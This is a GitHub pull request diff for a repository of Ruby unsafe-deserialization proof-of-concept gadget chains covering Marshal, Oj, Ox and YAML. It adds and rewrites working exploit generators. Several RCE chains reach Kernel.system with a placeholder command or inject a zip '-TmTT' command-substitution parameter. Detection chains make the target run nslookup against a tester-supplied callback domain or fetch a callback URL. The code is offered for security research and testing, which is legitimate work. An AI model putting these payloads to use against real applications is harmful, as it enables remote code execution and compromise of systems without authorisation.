Skip to content

Automation improvments and adding chain <= 3.0.2 and #2

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 4 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 4 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,8 +23,9 @@ The Oj, Ox and Psych proof of concepts were observed to work up to the current R

The subfolders for Oj, Ox and YAML contain gadget chains for the detection of an exploitable sink and remote code execution.

* The **detection gadget chain** calls an URL when flowing into a vulnerable sink. For this to work the placeholder `{CALLBACK_URL}` has to be replaced with an URL which should be called (preferably under the control of the tester).
* The **remote code execution (RCE) gadget chain** makes use of the `zip` command line util to run arbitrary commands (see [GTFObins](https://gtfobins.github.io/gtfobins/zip/)). Replace the placeholder `{ZIP_PARAM}` with a zip parameter that executes a command such as `-TmTT=\"$(id>/tmp/deser-poc)\"any.zip` (which will write the output of `id` to `/tmp/deser-poc`).

* The **detection gadget chain** calls an URL when flowing into a vulnerable sink. For this to work the placeholder `{CALLBACK_DOMAIN}` has to be replaced with a domain which should be called (preferably under the control of the tester).
* The **remote code execution (RCE) gadget chain**:
* makes use of the `zip` command line util to run arbitrary commands (see [GTFObins](https://gtfobins.github.io/gtfobins/zip/)). Replace the placeholder `{ZIP_PARAM}` with a zip parameter that executes a command such as `-TmTT=\"$(id>/tmp/deser-poc)\"any.zip` (which will write the output of `id` to `/tmp/deser-poc`).
* for chain <= 3.0.2, replace the placeholder `{COMMAND}` with a system command like `id`.

See the Ruby files in the respective subfolders for more information.
42 changes: 42 additions & 0 deletions marshal/3.0.2/marshal-detection-ruby-3.0.2.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
# From: https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
# Replace {CALLBACK_DOMAIN} with a out of band callback domain
rs.instance_variable_set('@git_set', "nslookup {CALLBACK_DOMAIN}")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.unpack("H*")
#puts Marshal.load(payload)
42 changes: 42 additions & 0 deletions marshal/3.0.2/marshal-rce-ruby-3.0.2.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
# From: https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
# Replace {COMMAND} with desired command like "id"
rs.instance_variable_set('@git_set', "{COMMAND}")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.unpack("H*")
#puts Marshal.load(payload)
57 changes: 57 additions & 0 deletions marshal/3.2.4/marshal-detection-ruby-3.2.4.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
# Disclaimer:
# This software has been created purely for the purposes of academic research and for the development of effective defensive techniques,
# and is not intended to be used to attack systems except where explicitly authorized.
# Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

# This Ruby marshall unsafe deserialization proof of concept is originally based on: https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
# It was observed to work up to Ruby 3.2.4

Gem::SpecFetcher # Autoload


def call_url_and_create_folder(url) # provided url should not have a query (?) component
uri = URI::HTTP.allocate
uri.instance_variable_set("@path", "/")
uri.instance_variable_set("@scheme", "s3")
uri.instance_variable_set("@host", url + "?") # use the https host+path with your rz file
uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/") # c5fe... is the SHA-1 of "any"
uri.instance_variable_set("@user", "any")
uri.instance_variable_set("@password", "any")

source = Gem::Source.allocate
source.instance_variable_set("@uri", uri)
source.instance_variable_set("@update_cache", true)

index_spec = Gem::Resolver::IndexSpecification.allocate
index_spec.instance_variable_set("@name", "name")
index_spec.instance_variable_set("@source", source)

request_set = Gem::RequestSet.allocate
request_set.instance_variable_set("@sorted_requests", [index_spec])

lockfile = Gem::RequestSet::Lockfile.allocate
lockfile.instance_variable_set("@set", request_set)
lockfile.instance_variable_set("@dependencies", [])

return lockfile
end

def to_s_wrapper(inner)
spec = Gem::Specification.new
spec.instance_variable_set("@new_platform", inner)
return spec
end

def create_detection_gadget_chain(url)
call_url_gadget = call_url_and_create_folder(url)

return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)])
end

url = "{CALLBACK_DOMAIN}" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component.
detection_gadget_chain = create_detection_gadget_chain(url)

#puts "Detection gadget chain using callback URL #{url}:"
puts detection_gadget_chain.unpack("H*")

#Marshal.load(detection_gadget_chain) # caution: will trigger the detection gadget when uncommented.
20 changes: 6 additions & 14 deletions marshal/3.2.4/marshal-rce-ruby-3.2.4.rb
Original file line number Diff line number Diff line change
Expand Up @@ -85,19 +85,11 @@ def create_rce_gadget_chain(rz_url_to_load, zip_param_to_execute)
return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(create_folder_gadget), to_s_wrapper(exec_gadget)])
end

def create_detection_gadget_chain(url)
call_url_gadget = call_url_and_create_folder(url)
# replace with parameter that is provided to the zip executable and can contain a command passed to the -TT param (unzip command), for example: "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip"
#For example: zip_param_to_execute = "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip"
zip_param_to_execute = "{ZIP_PARAM}"
rce_gadget_chain = create_rce_gadget_chain("rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz", zip_param_to_execute)

return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)])
end

url = "" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component.
detection_gadget_chain = create_detection_gadget_chain(url)

#zip_param_to_execute = "" # replace with parameter that is provided to the zip executable and can contain a command passed to the -TT param (unzip command), for example: "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip"
#rce_gadget_chain = create_rce_gadget_chain("rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz", zip_param_to_execute)

puts "Detection gadget chain using callback URL #{url}:"
puts detection_gadget_chain.unpack("H*")
puts rce_gadget_chain.unpack("H*")

#Marshal.load(detection_gadget_chain) # caution: will trigger the detection gadget when uncommented.
#Marshal.load(rce_gadget_chain) # caution: will trigger the detection gadget when uncommented.
72 changes: 72 additions & 0 deletions marshal/3.4-rc/marshal-detection-ruby-3.4-rc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
# Disclaimer:
# This software has been created purely for the purposes of academic research and for the development of effective defensive techniques,
# and is not intended to be used to attack systems except where explicitly authorized.
# Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

# This Ruby marshall unsafe deserialization proof of concept is originally based on: https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
# It was observed to work up to Ruby 3.4-rc
# The majority of this chain was taken from https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/blob/main/marshal/3.2.4/marshal-rce-ruby-3.2.4.rb

# This module is required since the URI module is not defined anymore.
# The assumption is that any web framework (like sinatra or rails) will require such library
# Hence we can consider this gadget as "universal"
require 'net/http'

Gem::SpecFetcher # Autoload


def call_url_and_create_folder(url) # provided url should not have a query (?) component
uri = URI::HTTP.allocate
uri.instance_variable_set("@path", "/")
uri.instance_variable_set("@scheme", "s3")
uri.instance_variable_set("@host", url + "?") # use the https host+path with your rz file
uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/") # c5fe... is the SHA-1 of "any"
uri.instance_variable_set("@user", "any")
uri.instance_variable_set("@password", "any")

source = Gem::Source.allocate
source.instance_variable_set("@uri", uri)
source.instance_variable_set("@update_cache", true)

index_spec = Gem::Resolver::IndexSpecification.allocate
index_spec.instance_variable_set("@name", "name")
index_spec.instance_variable_set("@source", source)

request_set = Gem::RequestSet.allocate
request_set.instance_variable_set("@sorted_requests", [index_spec])

lockfile = Gem::RequestSet::Lockfile.new('','','')
lockfile.instance_variable_set("@set", request_set)
lockfile.instance_variable_set("@dependencies", [])

return lockfile
end

# This is the major change compared to the other gadget.
# Essentially the Gem::Specification is calling safe_load which blocks the execution of the chain.
# Since we need a gadget that calls to_s from (marshal)_load, i've opted for Gem::Version
# The only problem with this is the fact that it throws an error, hence two separate load are required.
def to_s_wrapper(inner)
spec = Gem::Version.allocate
spec.instance_variable_set("@version", inner)
# spec = Gem::Specification.new
# spec.instance_variable_set("@new_platform", inner)
return spec
end

# detection / folder creation
def create_detection_gadget_chain(url)
call_url_gadget = call_url_and_create_folder(url)

return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)])
end

url = "{CALLBACK_DOMAIN}" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component.
detection_gadget_chain = create_detection_gadget_chain(url)

# begin
# Marshal.load(detection_gadget_chain)
# rescue
# end

puts detection_gadget_chain.unpack("H*")
48 changes: 2 additions & 46 deletions marshal/3.4-rc/marshal-rce-ruby-3.4-rc.rb
Original file line number Diff line number Diff line change
Expand Up @@ -14,34 +14,6 @@

Gem::SpecFetcher # Autoload


def call_url_and_create_folder(url) # provided url should not have a query (?) component
uri = URI::HTTP.allocate
uri.instance_variable_set("@path", "/")
uri.instance_variable_set("@scheme", "s3")
uri.instance_variable_set("@host", url + "?") # use the https host+path with your rz file
uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/") # c5fe... is the SHA-1 of "any"
uri.instance_variable_set("@user", "any")
uri.instance_variable_set("@password", "any")

source = Gem::Source.allocate
source.instance_variable_set("@uri", uri)
source.instance_variable_set("@update_cache", true)

index_spec = Gem::Resolver::IndexSpecification.allocate
index_spec.instance_variable_set("@name", "name")
index_spec.instance_variable_set("@source", source)

request_set = Gem::RequestSet.allocate
request_set.instance_variable_set("@sorted_requests", [index_spec])

lockfile = Gem::RequestSet::Lockfile.new('','','')
lockfile.instance_variable_set("@set", request_set)
lockfile.instance_variable_set("@dependencies", [])

return lockfile
end

def git_gadget(executable, second_param)
git_source = Gem::Source::Git.allocate
git_source.instance_variable_set("@git", executable)
Expand Down Expand Up @@ -98,25 +70,9 @@ def create_rce_gadget_chain(zip_param_to_execute)
return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(exec_gadget)])
end

# detection / folder creation
def create_detection_gadget_chain(url)
call_url_gadget = call_url_and_create_folder(url)

return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)])
end

url = "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component.
detection_gadget_chain = create_detection_gadget_chain(url)

# begin
# Marshal.load(detection_gadget_chain)
# rescue
# end

puts detection_gadget_chain.unpack("H*")

# You can comment from here if you want to simply detect the presence of the vulnerability.
zip_param_to_execute = "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip" # replace with -TmTT=\"$(id>/tmp/marshal-poc)\"any.zip
#For example: zip_param_to_execute = "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip"
zip_param_to_execute = "{ZIP_PARAM}"
rce_gadget_chain = create_rce_gadget_chain(zip_param_to_execute)

puts rce_gadget_chain.unpack("H*")
Expand Down
2 changes: 1 addition & 1 deletion oj/3.3/oj-detection-ruby-3.3.json
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@
"^o": "Gem::Source",
"uri": {
"^o": "URI::HTTP",
"host": "{CALLBACK_URL}?",
"host": "{CALLBACK_DOMAIN}?",
"port": "any",
"scheme": "s3", "path": "/", "user": "any", "password": "any"
}}}]},
Expand Down
2 changes: 1 addition & 1 deletion ox/3.3/ox-detection-ruby-3.3.xml
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@
<o a="@uri" c="URI::HTTP">
<s a="@path">/</s>
<s a="@scheme">s3</s>
<s a="@host">{CALLBACK_URL}?</s>
<s a="@host">{CALLBACK_DOMAIN}?</s>
<s a="@port">any</s>
<s a="@user">any</s>
<s a="@password">any</s>
Expand Down
2 changes: 1 addition & 1 deletion yaml/3.3/yaml-detection-ruby-3.3.yml
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@
uri: !ruby/object:URI::HTTP
path: "/"
scheme: s3
host: {CALLBACK_URL}?
host: {CALLBACK_DOMAIN}?
port: "any"
user: any
password: any
Expand Down